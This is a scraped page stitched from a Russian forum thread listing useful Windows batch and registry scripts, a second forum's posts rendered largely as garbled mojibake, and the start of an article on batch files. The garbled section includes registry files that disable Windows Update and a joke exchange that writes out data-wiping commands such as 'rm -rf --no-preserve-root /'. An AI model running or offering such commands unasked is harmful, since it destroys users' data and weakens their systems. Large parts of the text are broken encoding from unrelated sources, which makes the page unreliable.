17954 / 7591 / 889 Регистрация: 25.12.2011 Сообщений: 11,323 Записей в блоге: 17 |
|
1 |
|
15.10.2012, 00:56. Показов 563196. Ответов 179 Метки acl, antihidden, cabinet archive, cacls, drive serial number, folder permissions, not responding, regsvr32, sfc /scannow, takeown, полезные bat/cmd скрипты (Все метки)
В этой теме выкладываем скрипты, которые часто используются Вами Также приветствуются скрипты высокой степени сложности, полезные с точки зрения Правила темы:
Схожая тема: BAT/CMD файлы ******************* Перечень полезных скриптов: ******************* Архивация и резервное копирование Безопасность Дата, время Интерфейс Компиляция Операционная система Сеть Процессы Текстовые операции, кодировка (файловые операции) ссылка Файловые операции, разделы Другое
21 |
Dragokas 17954 / 7591 / 889 Регистрация: 25.12.2011 Сообщений: 11,323 Записей в блоге: 17 |
||||||
15.10.2012, 00:57 [ТС] |
2 |
|||||
Взаимное копирование содержимого 2 папок друг в друга Критерий копирования при совпадении имен файлов: последняя дата модификации. Использование: Примечание: скрипт использует Robocopy.exe из пакета Windows Resource Kit (является родной для Windows 7) Развернуть код …
Вложения
3 |
Dragokas 17954 / 7591 / 889 Регистрация: 25.12.2011 Сообщений: 11,323 Записей в блоге: 17 |
||||||||||||
15.10.2012, 02:41 [ТС] |
3 |
|||||||||||
Удаление последствий вируса (поддельные «фейковые» папки на флешке) Использование: Показания к применению: Функционал v.1.5.: Папка содержит в свою очередь 3 неудаляемые штатными способами подпапки, создаваемые разными алгоритмами. Тонкости: Основные изменения в update 1.5. (от 16.11.2012) Обсуждение скрипта ведется здесь (и последняя версия скрипта тоже): AntiHidden — Удаление последствий вируса (поддельные «фейковые» папки на флешке) FAQ Как удалить созданную программой папку Autorun.inf Программа работает слишком долго: Зачем удалять программы в корне папки %appdata% ? Листинг исходного кода v.1.5.1. ua:
В коде версии 1.5. использованы спецсимволы BackSpace, поэтому при прямом копировании кода Ваш батник работать не будет, как задумано.
Add. Перевод на русский v.1.4.: Листинг (с переводом).
Вложения
8 |
17954 / 7591 / 889 Регистрация: 25.12.2011 Сообщений: 11,323 Записей в блоге: 17 |
|
15.10.2012, 02:44 [ТС] |
4 |
Стать владельцем папки/файла, получить полные права (пункт контекстного меню) Скрипт представляет из себе ключик реестра. Использование: Предназначение: Показания к применению: Ключик Nizaury Reg-Key Листинг: Код Windows Registry Editor Version 5.00 [HKEY_CLASSES_ROOT*shellrunas] @="Стать владельцем и задать полный доступ к объекту" "NoWorkingDirectory"="" [HKEY_CLASSES_ROOT*shellrunascommand] @="cmd.exe /c takeown /f "%1" && icacls "%1" /grant администраторы:F" "IsolatedCommand"="cmd.exe /c takeown /f "%1" && icacls "%1" /grant администраторы:F" [HKEY_CLASSES_ROOTDirectoryshellrunas] @="Стать владельцем и задать полный доступ к объекту" "NoWorkingDirectory"="" [HKEY_CLASSES_ROOTDirectoryshellrunascommand] @="cmd.exe /c takeown /f "%1" /r /d y && icacls "%1" /grant администраторы:F /t" "IsolatedCommand"="cmd.exe /c takeown /f "%1" /r /d y && icacls "%1" /grant администраторы:F /t" Автор: Nizaury Смежный скрипт: Смена владельца и прав на папку и ее содержимое, в которой запущен батник
13 |
Anonymоus 612 / 92 / 14 Регистрация: 15.08.2012 Сообщений: 62 |
||||||||||||
15.10.2012, 05:16 |
5 |
|||||||||||
Подсчёт маски подсети на основании двух крайних значений диапазона. Синтаксис — netmask.cmd <начало диапазона> <конец диапазона> Развернуть код …
UPD. 26.04.13 Использование: Примеры:
Развернуть код …
.
2 |
612 / 92 / 14 Регистрация: 15.08.2012 Сообщений: 62 |
|
15.10.2012, 05:16 |
6 |
Пакетное получение информации о IP-адресах и построение HTML-отчёта. Использование — поместить IP-адреса (по одному на строку) в файл iplist.txt, запустить masswhois.bat и дождаться завершения работы. Результат будет представлен в виде result.html В отчёте представлены: сам IP, его маска и диапазон, страна, имя подсети и адрес. Использованные внешние утилиты — grep, uniqline, whosip, netmask.cmd
2 |
Dragokas 17954 / 7591 / 889 Регистрация: 25.12.2011 Сообщений: 11,323 Записей в блоге: 17 |
||||||
21.10.2012, 03:05 [ТС] |
7 |
|||||
Вывод текста без переноса на новую строку Принцип подсмотрел у alexii на сером форуме. Код содержит невидимые символы BackSpace (0x08). Будет полезен для создания процентного прогрессбара Рабочий вариант качайте с файла. Код — замените (0х20) на (0x08)
Вложения
1 |
17954 / 7591 / 889 Регистрация: 25.12.2011 Сообщений: 11,323 Записей в блоге: 17 |
|
27.10.2012, 02:37 [ТС] |
8 |
Циклическое копирование файлов по каталогам с ожиданием завершения их дозаписи в исходную папку. Массовая рассылка файлов
0 |
Dragokas 17954 / 7591 / 889 Регистрация: 25.12.2011 Сообщений: 11,323 Записей в блоге: 17 |
||||||||||||||||||||||||||||||
02.11.2012, 18:00 [ТС] |
9 |
|||||||||||||||||||||||||||||
Перекодировка текста Смотрите обновленную тему: Перекодировка текста (сборник кодов для различных кодовых страниц) Из любой кодировки в любую (через утилиту win_iconv) Скачать утилиту. Синтаксис: Bash iconv [-c] [-s] [-f encoding] [-t encoding] [inputfile …] Перечень кодировок: Bash iconv -l
Пример использования: Bash win_iconv -f UTF-16LE -t cp866 "UTFtext.txt" > "DOStext.txt" Подробности в теме о ключах. Win <-> OEM (неконсольный — на языке VBA) Автор: Dragokas Написан на VBA (Excel). Скачать. Для работы необходимо включить макросы: Описание функций:
OEM-866 -> WIN-1251 (на CMD)
OEM-866 -> WIN-1251 (через утилиту на ASM) Скачать to1251.zip. Самый быстрый перекодировщик. Написан на ассемблере =) Автор: Charles Kludge Использование только через конвейер: Bash ipconfig /all | to1251.exe > result.txt Bash to1251.exe < file1.txt > result.txt Исходник. Код ASM:
Win-1251 -> в Unicode (UTF-16LE) (на CMD) С возможностью указать исходную кодовую страницу: Использование: Bash Batch.cmd infile outfile src_codepage где: Batch.cmd — сам Batch-файл 2 варианта кода: 1) Исходник кода сохранить в кодировке WIN-1251:
2) исходник кода сохранить в кодировке OEM-866:
Как настроить кодировку исходного кода Batch-файла, какой выбрать редактор: Русский текст в консоли UTF-8 -> Win-1251 (cmd) От Smitis
UTF-16 -> OEM-866 (cmd)
UTF-16 -> Win-1251 (cmd)
Вложения
4 |
Dragokas 17954 / 7591 / 889 Регистрация: 25.12.2011 Сообщений: 11,323 Записей в блоге: 17 |
||||
12.11.2012, 07:27 [ТС] |
10 |
|||
Завершение процесса (оформлено в виде меню). Развернуть код
Миниатюры
4 |
17954 / 7591 / 889 Регистрация: 25.12.2011 Сообщений: 11,323 Записей в блоге: 17 |
|
12.11.2012, 07:57 [ТС] |
11 |
Крутящаяся палка (имитация). По типу — песочные часы в Windows =))
4 |
Dragokas 17954 / 7591 / 889 Регистрация: 25.12.2011 Сообщений: 11,323 Записей в блоге: 17 |
||||||
12.11.2012, 09:10 [ТС] |
12 |
|||||
Создание CAB-архивов Автор: Alex Averchenkoff Развернуть код
Вложения
3 |
Dragokas 17954 / 7591 / 889 Регистрация: 25.12.2011 Сообщений: 11,323 Записей в блоге: 17 |
||||||||||||||
18.11.2012, 06:05 [ТС] |
13 |
|||||||||||||
Смена владельца и прав на папку и ее содержимое, в которой запущен батник (Full Access <-> Read Only) Обновлено 20.11.2012. Добавлена совместимость с XP и Server 2003. 1) RO.cmd (ReadOnly) — делает все файлы и папки доступными только для чтения и выполнения. 2) FA.cmd (FullAccess) — восстанавливает полный доступ для всех пользователей. Для нормальной работы в ОС Windows Vista, Win 7 батник нужно запускать правой кнопкой мыши «От имени Администратора». Как пользоваться: Для корректной работы, вероятно, понадобится утилита из Microsoft Support Tools — ICACLS (включена в ОС Windows Server 2003, начиная с SP2). Поддержка: Исходный код Сохранять в кодировке OEM-866. FA.cmd
RO.cmd
В коде использован метод двойного запуска скрипта исключительно для упрощения Обсуждение скрипта в теме: Смена владельца и прав на папку и ее содержимое Вложения
6 |
17954 / 7591 / 889 Регистрация: 25.12.2011 Сообщений: 11,323 Записей в блоге: 17 |
|
26.11.2012, 13:41 [ТС] |
14 |
Пищалка (подобие beep) Блокнотом Windows не редактировать! Из командной строки звук можно симмитировать нажатием Ctrl+G, {ENTER}.
5 |
khaarax 6 / 2 / 0 Регистрация: 09.12.2012 Сообщений: 5 |
||||
09.12.2012, 23:00 |
15 |
|||
Вызов GUI диалогового окна выбора папки Развернуть код
Копирайты не помню чьи. Миниатюры
2 |
Dragokas 17954 / 7591 / 889 Регистрация: 25.12.2011 Сообщений: 11,323 Записей в блоге: 17 |
||||||||||
30.12.2012, 04:46 [ТС] |
16 |
|||||||||
Многопроцессное создание пустых файлов (бенчмарк для винчестера) P.S. Ниже «процессы» названы «потоками» (простите за эту глупую опечатку). Настраиваемые параметры: Развернуть код
В поданном коде создается 50*10000 = 0,5 млн. файлов, так что попытавшись открыть такую папку даже файловым менеджером все напрочь зависнет. Результаты тестов на моем SSD Индикация процесса удаления папки Развернуть код…
Вложения
5 |
Dragokas 17954 / 7591 / 889 Регистрация: 25.12.2011 Сообщений: 11,323 Записей в блоге: 17 |
||||||||||||
03.01.2013, 02:43 [ТС] |
17 |
|||||||||||
Помощник компиляции исходных кодов и проектов .NET (.cs / .sln (C#, VB.NET)) через консольный NET.FrameWork компилятор (csc или msbuild) UPD. 02.03.2017 — добавил скрипт для msbuild. Зачем нужен: Требования: Использование: Функционал: Внутри скрипта есть некоторые комментарии по детальным настройкам. Кликните здесь для просмотра всего текста
P.S. Скрипт для msbuild — упрощённый (лог-файл не ведётся). Кликните здесь для просмотра всего текста
Вложения
5 |
17954 / 7591 / 889 Регистрация: 25.12.2011 Сообщений: 11,323 Записей в блоге: 17 |
|
06.01.2013, 02:03 [ТС] |
18 |
Отслеживание зависшего процесса и его перезапуск с указанным приоритетом Все параметры настраиваемы (см. начало кода и спойлер). Комментарии писал на английском, уж как есть. Принцип работы: (а вдруг процесс подвис на секунду — не «убивать» же его из-за этого!!!)
Если все проверки позитивны, ищем полный путь к процессу по номеру его Process ID (используется инструментарий WMIC). Настройки:
Можно задавать такие паузы (в мс.): Запуск в минимизированном виде: Приоритеты запускаемого процесса: Имена нескольких процессов задаются через запятую без кавычек, даже если в их имени есть пробел. Upd.3. Скрипт обсуждается здесь Отслеживание зависания (состояния «не отвечает») программы и её перезапуск
7 |
Eva Rosalene Pure Free Digital Ghost 4598 / 1910 / 370 Регистрация: 06.01.2013 Сообщений: 4,564 |
||||
08.01.2013, 21:45 |
19 |
|||
Помощь по всем командам вашей версии Windows / DOS Развврнуть код…
После запуска появятся два текстовых файла.
5 |
Dragokas 17954 / 7591 / 889 Регистрация: 25.12.2011 Сообщений: 11,323 Записей в блоге: 17 |
||||||||
15.01.2013, 02:20 [ТС] |
20 |
|||||||
Прогресс-бар копирования файлов Взято из этой темы. Версия 1.5
Юзаем, например, так:
2 |
������� �������� �������
��������� ������
��������� �����
����������� / Covid-19
��������� ����� ��� ��������
������������� ��������
�������� �����
������� �����
�������
��������� ����������� �����
�������� �������
����������
��������� �������
������� �� �����
��� �����
4�4 �����
��������
������� �����
�����
������������
�������� �����
KIA-�����
���� �����
Hyundai �����
VAG �����
������ �������
����� ������: �������������� �����
����-�������� (�� ���� �������, ��������)
���������� �������
���������� �������: �����������
���������� �������: ��������
���������� �������: �������
���������� �������: ���� � �����
���������� �������: ������
���������� �������: ���� ����������, �������
���������� �������: ������
���������� �������: �������
���������� �������: ���������
���������� �������: �����
���������� ��������-�������
�������� ������
�������� ������: ��������
�������� ������: ������� ������ (��������)
�������� ������: ����-��� (�������)
�������� ������: �������
�������� ������: ���������
�������� ������: ���� ����������, �������
�������� ������: ��������
�������� ������: ������
�������� �������
�������� ������� — ����� �������
�������� ������� — ��������
�������� ������� — �������
�������� ������� — ���� ����������, �������
�������� ������� — ����������
����� �������
��� �����
��� ����� — ��������
��� ����� — ����������. �����
��� ����� — ����������: ������� ������
��� ����� — ����������: ������� �����
��� ����� — ����������: ������� ���������, �������, ������
��������
�������� (��������)
������ � ��. ��������
������� (������� ����������� �������)
������
�����������
�������� �����
������� ��������
����������� �����
�����������
��������� �����
����� ���������� �����
������. ��������.
������� �������
����������
��������� ��������
������ �� ���������
���������� �����
������� � ����
�����������
���� �����
������������� � �������������
����������
���������
�������� �����
�����, ������, ����������
���������
��������
�������� ��������
������ �����
����������
�����������
����������� �����
������� �����
������� �����: ��������
������� �����: �������� ��������
���� ����
���� ����
�������� �����
������ ����
�����������
��������-��
GPS �����
��������� �����
�����-�����
���������
����. � ������ ������
������ �����
������� � PR
����������
������������
���������� �����
��������
����� ���������
������� � �����
�����������
�����������
������ ���������
������������ ��
������������ ������
������������ ����� (��������)
����
����� ����������
������
����������������� � ����������
����� ������������ ����������
����� ���������������
��� ������������ ������
������, �����, �������
������, �����, �������
���������� ������
���� �����������
�������������
������ ���������
���������� ������� ���������
��������� ������� ���������
�����������
������������� �������
������������
������������
�������
��������� �����
���
������������� ������������
����� ������
������������� �����
���������� �����
��������� �����
��� ������ �������
������ �����
�������
����� ���������
������ �� (��. ����� ����������)
���������� ��
��������� �� (������������� ��.)
���������� ������� ��
�� ������������� ���� ��
������� ������ �� (��������� �����)
������� ���� �� (��������� �-��)
������ �� (����������� �-��)
�� �������� �� (�������� ��., � ���� 18)
������ ����� �� (�. �������)
����� �� (��. ��������� ��������)
������� ������ �� (��������� �-��)
������� �� (��������� �-��)
�� ���. (����� �������)
����������� ������ ���.
������������ ���.
����� ����� ���. (60-��� ������� ��.)
����� �� (�������� ��.)
������� ���� ��
��� ������ �����
������� ������
��������� �����
��������� ���� �����������
������� �� ����� iHerb
�������� �������
���������� � �������� �������
����� �������� ����
������ �����
����������� ������ ������
��� ������ ���������!
������-�������� �����-�������
����� ����������
������������
����� �������
������������ ���� ��������
������� ��� �����
���� �����!
����������� �����
������-��������
�����������
����� ������������ �����
��������
����� �����������
����� ����������
����� ����� �����������
������ � ����������� (������������)
�� ������ ������� ������ �� �������.
���������� ���������������� ������.
- �������
- �����������
- �����-�����
� �������� �� NN.RU
� ��� ���� ��� ������ �� NN.RU, ������� ������ �� ���� �� ����� ���� ����������.
�������������� �������, ����� ����� ����� ������.
� ���������� �����
����������
� ���� ���� ����������� ��� ��������, ��� ����� ����������� � ��������� ����� ��� � ����� ����������� ������.
�������, �������, �����, ������� � ��������.
���� ������ ������ — � ����� ����� �����, ������� ��������� ����� ������� ������ ��������������.
����� � ���� ���� ������� �����.
����� �� ������ ��������, ������ «�������� ������»
���� ������ ������� ������ ������, ������� ��� ���������� ������� � ����� ��� ���������. ����������� ����-��� ��� ���� � �������, � ���� ��� ����� ����������� �� ���� ������.
� ��������� ���������� ����:
208653491-pocinit-_pecat-.cmd (1 Kb) ������� ����
����� ���� ����� �� ��� ���������, ����. ��� ����� ����, ����� � ������ ��������.
��� ��� ������ ��������� ������� ������� ���������� 1�
@echo off
echo ������ ���ף�������� �������������� �������� ���������� 1� (������ ���������)
Echo *********************************************************************
Echo *********************************************************************
Echo ����������, ������� ������ ���� ������������� ����� �������� �������
Echo *********************************************************************
Echo *********************************************************************
Echo ����� ������� ������ ���� ����������� ����� ����������� ���������� 1�.
Echo � �������� ��������� ����� ����� «���������� ������ 1�:����������� 8 ��� ������ Windows (������������)»
Echo ������ ������ ���� ������� � ������� ��������������!
Echo *********************************************************************
echo ����� �� ������� ����� ������� ������ ������ 1� �� ������ ����������?
set /p srv_pos=������ ������ ���� ����� (2, 3 � �.�.).:
set logfile=%systemdrive%1c_%srv_pos%_install.log
echo ������ �� �ޣ�� %srv_pos% . ����� ������� %COMPUTERNAME%:%srv_pos%541
echo Server position is %srv_pos%. Server address is %COMPUTERNAME%:%srv_pos%541 >> %logfile%
set /p srv_cat=�������, � ������� ���������� ragent.exe:
set /p srv_conf_cat=������� �������� ������������ ������� 1� (������ ���� ������):
set /p srv_desc=�������� ������� (����� �� �������):
Echo *********************************************************************
Echo *********************************************************************
echo ��������� ��������� ��������������� ������
echo ���� �� ������������ ����� ������� 1� %srv_cat%ragent.exe
echo ���� �� �������� ������������ ������� %srv_conf_cat%
echo ����� ������� %COMPUTERNAME%:%srv_pos%541
echo � ������ ������ �������� ���� � ��������� ������ ������!
pause
sc create 1C-srv-%srv_pos% DisplayName= «1� Server on %srv_pos%541» binPath= «%srv_cat%ragent.exe -srvc -agent -regport %srv_pos%541 -port %srv_pos%540 -range %srv_pos%560:%srv_pos%591 -d «%srv_conf_cat%»» start= auto >>%logfile%
sc description 1C-srv-%srv_pos% «%srv_desc%» >> %logfile%
:LOOP
Echo *********************************************************************
Echo *********************************************************************
Echo ������� ��������� �����ۣ�. ���������� ����� ���� %logfile%
TYPE %logfile%
Echo *********************************************************************
echo ��������� ������, ���� ��� �������� �� ����� ���������!
Echo *********************************************************************
Echo ��������� ������ ������?
Echo.
Echo 1 — ��
Echo 2 — ���, �������� ��������� �������
Echo 3 — ���, ������ �����
Set var=
Set /P var=»������� �����: »
if /I «%var%»==»1» goto scstart
If /I «%var%»==»2» goto exit1
If /I «%var%»==»3» exit
GoTo LOOP
:scstart
sc start 1C-srv-%srv_pos% >> %logfile%
TYPE %logfile%
pause
exit
:exit1
start services.msc
� �� ��������� �����-������ �� ����
��. �� ��� ������ ������� ������������ ������� � ������� ���, ����� �������� ����������������. �������� �����, �� ��������))
��� ��� ������� ����� ������������ ���� ���������� Win8/8.1/10
bcdedit /set «{current}» bootmenupolicy legacy
��� ����������� ������� �� ������ ����� ��������, ��� ���� � Win7Vista. ������ ����� ���������� ������� �� F8 � ������� ������ ������ �������
��� ��� �������� �� ����������� �������?
���� ������ ���� ������ ���������.
������ �� ����� ���� ������� ���� �������� � �� ��� ���� ���������
�� ����� ��� ����� rm /rf �� �����
���, ����������� �����������
������ rm -rf / ��� �� ��������, ������ ������ ��� ������ ������� ������, �� ���� ����������� ����: rm -rf —no-preserve-root /
��� ����� ������ rm -rf /*
�������� ���� ���� � ������ ������� ����� � ����� �������.
REG-����, ������� ��������� � ������ ���������� ������ «��������» (��� ���� ������) � «����� ����» (����� ������ ��� � ����� �����)
��� �������
������� ������� �����(�)
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINESOFTWAREClassesCLSID{D15ED2E1-C75B-443c-BD7C-FC03B2F08C17}]
@=»����� ����»
«InfoTip»=»��� ��������»
«System.ControlPanel.Category»=»5»
[HKEY_LOCAL_MACHINESOFTWAREClassesCLSID{D15ED2E1-C75B-443c-BD7C-FC03B2F08C17}DefaultIcon]
@=»%SystemRoot%\System32\imageres.dll,-27″
[HKEY_LOCAL_MACHINESOFTWAREClassesCLSID{D15ED2E1-C75B-443c-BD7C-FC03B2F08C17}ShellOpenCommand]
@=»explorer.exe shell:::{ED7BA470-8E54-465E-825C-99712043E01C}»
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerControlPanelNameSpace{D15ED2E1-C75B-443c-BD7C-FC03B2F08C17}]
@=»����� ����»
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerControlPanelNameSpace{2227a280-3aea-1069-a2de-08002b30309d}]
� ��������� ���������� ����:
208654304-printers_godmode.reg (1 Kb) ������� ����
REG-����, ���������� ��������, ������� ��������� ��������� ���������� �����, ���� ���������� ���������. �� ��� ����, ������ ����� ��������.
Windows Registry Editor Version 5.00
[-HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsWindowsUpdate]
[HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsWindowsUpdate]
«DisableWindowsUpdateAccess»=dword:00000001
[HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsWindowsUpdateAU]
«NoAutoUpdate»=dword:00000001
«AUOptions»=-
� ��������� ���������� ����:
208654574-policy_updates_off_naher.reg (1 Kb) ������� ����
� ���� ���10 ��������� ���������� �����������?
� ��� ���ޣ� ������ ��� ����? ���� ������ �������������� ����������?
�� Win10 ���� ���������:
���� �� ���� �� ��� ����� ���������� ���� ���� ����� UpdateAssistant — �� ����� � ����� ������ ������ ���������� �� ������ ������ (�������� � 1607 �� 1803) � �������� ������� � ������������ ����� ��� �� ��������
����� ����� �������� ����� ��� ����� ������:
Windows Registry Editor Version 5.00
[-HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsWindowsUpdate]
������� � ���������� ������� ���������� ����������� � ��������� ������ ��� ������.
1. ������ ��������� Cobian backup www.cobiansoft.com/cobianbackup.htm
2. ��������� ����������� ������ �� ���� ������, �� ������� ����� «backup» � ������� «backuptrololo», ��������� ��� � ������ ������� � �������� ����� ����� �� ������.
3. �� ����� �� ������/��������/nas ����� ������� ������ ������������ (��� ��������� ������) � ������� �����/���� ��� ��������� �����, ������ �� ������ ���� (��� ������� � �� ������ ����) ���� ������ ����� backup
4. ����������� ��������� ����������� �� ����� ����� backup, ������������ ��� ������ �� ��� ����������� �����.
������ ������ ������� ��������, ���� ��������� ��������� + �������� ������ �� ������������� ����� �������������� � ������ ���������� �����
� ��������� ���������� ����:
208655429-userbackup.cmd (1 Kb) ������� ����
����� ������ ������� ���������� ����� ��������� ����. ������� ���������, ��������� ������ , �������������� ����������, ������ � �������� , ������� ����������� �������������� ��������� ������ , ��������, � ���� ��������.
���� ����� � ������������ ������� ��������
������ �����ݣ����� �� ���������� ���, ������ ������ �� �����, ���� ��������� ����� ������� ������, ������ ��� � ����� ��� � ������, �������� � ������� �����. ������� ������ ������� ������� � ������ �����.
�� ������� WinXP ���� ��������� Shadow User. � ������� ����� ���� ��������� ��� ������, ��������� ������, ����� ���� ������ ������� ����� C:Windows. ����� ������������ �ӣ ��� �� � ޣ� �� ������. � ��������� ��������� ��� ����� �� ��������������, �� ����� ������� ����…
������������ �������, ��������� DeepFrize. ������������ ��������� ����, ����� ������, ����������������� «��������������» ��. �� ������� ��������� ����� � ��� ��������� �� ������ ����. ����� ������ �� ������� ����� � � ���� ���������� ��� ��������, ��� ����������� ��������������. ��� �� ��� � ������� ��������� �� � ��� ��� ���� �������� �� ������������. ��������� ������ � ������� �� ������ ������������ ����� �� 1�� � ����, ������ ������������. ������ ����������� � ��������. � ��������. ������� ������ ���.
� Shadow User ����� ���� ������� ����� ��������� � ������̣���� ��������� �����������.
��� ��� «���������» ���������� ����, ��������� �� �����������.
����� �� ���������
����� ������ ������� ������������ �������������
����� �� ������� ������� ���� ����. ��� ���� ���� ����������� �� ����������� � ��� ��� ������ ���� �����. �� ������ ������ �������������� ���� �����, ����������� �ӣ. �� ��?
��� ������� �� changelog-a:
����� ����:
+ ����� Media Engagement Statistics �������� � ������ Internet (Google Chrome).
���������:
�������� �������� ���
* �������� Temporary Internet Files � ������� Internet (Google Chrome);
* �������� Cache Files � ������� Internet (Microsoft Edge) section;
* �������� Cookies � ������� Internet (Mozilla Firefox);
* �������� Temporary Internet Files � History � �������� Internet (Mozilla Firefox).
* ����������� �������� ��� �������� Temporary Internet Files, Cookies � History � ������� Internet (Mozilla Firefox).
����������� �������� ���
* ��������� Firefox � Opera, ������������� ��� ���������������� ����������;
* Skype.
����������� � �������� �������� ���
* �������� Temporary Internet Files � History � ������� Internet (Opera);
* �������� Chat History � ������� Internet (Skype);
* ������� Recent Files � Recent Places �� ��������� Microsoft Excel, Microsoft PowerPoint � Microsoft Word � ������� Application Traces;
* �������� Problem Reports � ������� System.
������������� ������ ������� ������, ��� ��� �������������. ����� ������� ���, ����� ������ ������ �� ����� ������ ���, �� ���� ������ ���������, �� ����� �� ����� �� ���� �� ������������� ���������� �� �����.
������� ������� �����(�)
������������� ������ ������� ������
��ģ�������� ���� �� ���������, ����������� ���� � �����������. � � ���� ������ ������� �������������� �������.
��� ���� ����� ������, ţ ������������ ����� =)
� ���� �������������� ������� �������� ����� ��� ����������� ����
��, ��� ������� ���� �� �������
������ ������� �����
�� ����� �� ��� �������� ? � ������ ������� �� ���� ����� )
�� ��� ������ �� �� ������ ����� �����������, ��������-�� � �����-������ ���� �� RDP ����������, �������� � 3D…
���� ) ������� �������� ) �� ����������� ���
������������, ��� ������, ���� �� ��������������� �������� USB ���������, �������� �� ��� ATOL:
1. �������� ����� �������������� ��������� � ����������.
��� ����� � ��������� ������ ���������:
set devmgr_show_nonpresent_devices=1
��������� ��������� ���������
start devmgmt.msc
� ���� «���» ������ «�������� ������� ����������»
2. ����� ���������� USB ����������, ������� ������������ ����� ������. ������� ��, �.�. ��� ����� ���� ������-����� �������������� ������, ��� USB 3G ������.
3. ������������� ���������.
������ rar.exe ���� ���-�� ���������
� winrar.exe ����� ��� �� ��������. ������� �� ���������� ��������� ������ � ������� ������������ — ����� �� ���� ���� � ���� ��������/�������.
������ ������ � ��� �� �������� ��� � winrar ….
� �������� �� NN.RU
� ��� ���� ��� ������ �� NN.RU, ������� ������ �� ���� �� ����� ���� ����������.
�������������� �������, ����� ����� ����� ������.
� ���������� �����
����������
������� �������� �������
��������� ������
��������� �����
����������� / Covid-19
��������� ����� ��� ��������
������������� ��������
�������� �����
������� �����
�������
��������� ����������� �����
�������� �������
����������
��������� �������
������� �� �����
��� �����
4�4 �����
��������
������� �����
�����
������������
�������� �����
KIA-�����
���� �����
Hyundai �����
VAG �����
������ �������
����� ������: �������������� �����
����-�������� (�� ���� �������, ��������)
���������� �������
���������� �������: �����������
���������� �������: ��������
���������� �������: �������
���������� �������: ���� � �����
���������� �������: ������
���������� �������: ���� ����������, �������
���������� �������: ������
���������� �������: �������
���������� �������: ���������
���������� �������: �����
���������� ��������-�������
�������� ������
�������� ������: ��������
�������� ������: ������� ������ (��������)
�������� ������: ����-��� (�������)
�������� ������: �������
�������� ������: ���������
�������� ������: ���� ����������, �������
�������� ������: ��������
�������� ������: ������
�������� �������
�������� ������� — ����� �������
�������� ������� — ��������
�������� ������� — �������
�������� ������� — ���� ����������, �������
�������� ������� — ����������
����� �������
��� �����
��� ����� — ��������
��� ����� — ����������. �����
��� ����� — ����������: ������� ������
��� ����� — ����������: ������� �����
��� ����� — ����������: ������� ���������, �������, ������
��������
�������� (��������)
������ � ��. ��������
������� (������� ����������� �������)
������
�����������
�������� �����
������� ��������
����������� �����
�����������
��������� �����
����� ���������� �����
������. ��������.
������� �������
����������
��������� ��������
������ �� ���������
���������� �����
������� � ����
�����������
���� �����
������������� � �������������
����������
���������
�������� �����
�����, ������, ����������
���������
��������
�������� ��������
������ �����
����������
�����������
����������� �����
������� �����
������� �����: ��������
������� �����: �������� ��������
���� ����
���� ����
�������� �����
������ ����
�����������
��������-��
GPS �����
��������� �����
�����-�����
���������
����. � ������ ������
������ �����
������� � PR
����������
������������
���������� �����
��������
����� ���������
������� � �����
�����������
�����������
������ ���������
������������ ��
������������ ������
������������ ����� (��������)
����
����� ����������
������
����������������� � ����������
����� ������������ ����������
����� ���������������
��� ������������ ������
������, �����, �������
������, �����, �������
���������� ������
���� �����������
�������������
������ ���������
���������� ������� ���������
��������� ������� ���������
�����������
������������� �������
������������
������������
�������
��������� �����
���
������������� ������������
����� ������
������������� �����
���������� �����
��������� �����
��� ������ �������
������ �����
�������
����� ���������
������ �� (��. ����� ����������)
���������� ��
��������� �� (������������� ��.)
���������� ������� ��
�� ������������� ���� ��
������� ������ �� (��������� �����)
������� ���� �� (��������� �-��)
������ �� (����������� �-��)
�� �������� �� (�������� ��., � ���� 18)
������ ����� �� (�. �������)
����� �� (��. ��������� ��������)
������� ������ �� (��������� �-��)
������� �� (��������� �-��)
�� ���. (����� �������)
����������� ������ ���.
������������ ���.
����� ����� ���. (60-��� ������� ��.)
����� �� (�������� ��.)
������� ���� ��
��� ������ �����
������� ������
��������� �����
��������� ���� �����������
������� �� ����� iHerb
�������� �������
���������� � �������� �������
����� �������� ����
������ �����
����������� ������ ������
��� ������ ���������!
������-�������� �����-�������
����� ����������
������������
����� �������
������������ ���� ��������
������� ��� �����
���� �����!
����������� �����
������-��������
�����������
����� ������������ �����
��������
����� �����������
����� ����������
����� ����� �����������
������ � ����������� (������������)
�� ������ ������� ������ �� �������.
���������� ���������������� ������.
Содержание статьи:
Вместо вступления. Что такое «батник»
Пакетные файлы (batch file) — это текстовые файлы в системе Windows, MS-DOS и OS/2, содержащие в себе команды, подготовленные для последовательного исполнения интерпритатором ОС
На первый взгляд может показаться, что данные возможности системы абсолютно бесполезны для рядового пользователя, однако это не совсем так. При помощи пакетных файлов можно существенно упростить рутинную работу с ПК, сделать её удобнее, воспользоваться некоторыми скрытыми возможностями.
Новатором и пионером в данной области я, само собой, не являюсь, просто постараюсь изложить здесь базовое представление об этом типе файлов, рассмотреть некоторые примеры и остановиться на парочке деталей и тонкостей, касающихся так называемых батников.
Для удобства написания и, естественно, восприятия разобью статью по разделам. Но сначала:
ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Некоторые манипуляции с пакетными файлами могут нанести вред системе (порой даже непоправимый), поэтому предупреждаю сразу, ни автор статьи, ни администрация сайта не несут абсолютно никакой ответственности за последствия, которые может повлечь за собой выполнение действий, представленных в этой статье. Все материалы представлены здесь исключительно с образовательной целью, и для ознакомления. Надеюсь на ваше понимание и прямоту ваших рук….
- Выше уже упоминалось, что пакетный файлы — это обычные текстовые документы. Так и есть, но для того, чтобы они работали и выполняли свои функции, им нужно придать подобающий вид, т.е. поменять расширение. Вообще в Windows используется как расширение *.bat, так и *.cmd, по сути они отличаются весьма незначительно лишь некоторыми нюансами, поэтому, в целях избежания путаницы, будем говорить о bat-файлах. Т.е. чтобы создать исполняемый пакетный файл, мы открываем стандартный блокнот (либо другой, привычный вам текстовый редактор), вбиваем туда нужные нам команды и сохраняем файл с любым именем и расширением bat;
- По сути, перечень команд, описанных в пакетном файле (батнике) может быть воспроизведён вручную в командной строке (пуск — все программы — стандартные — командная строка), упаковываем их (команды) мы исключительно для удобства, простоты и моментальности (если позволите) воспроизведения;
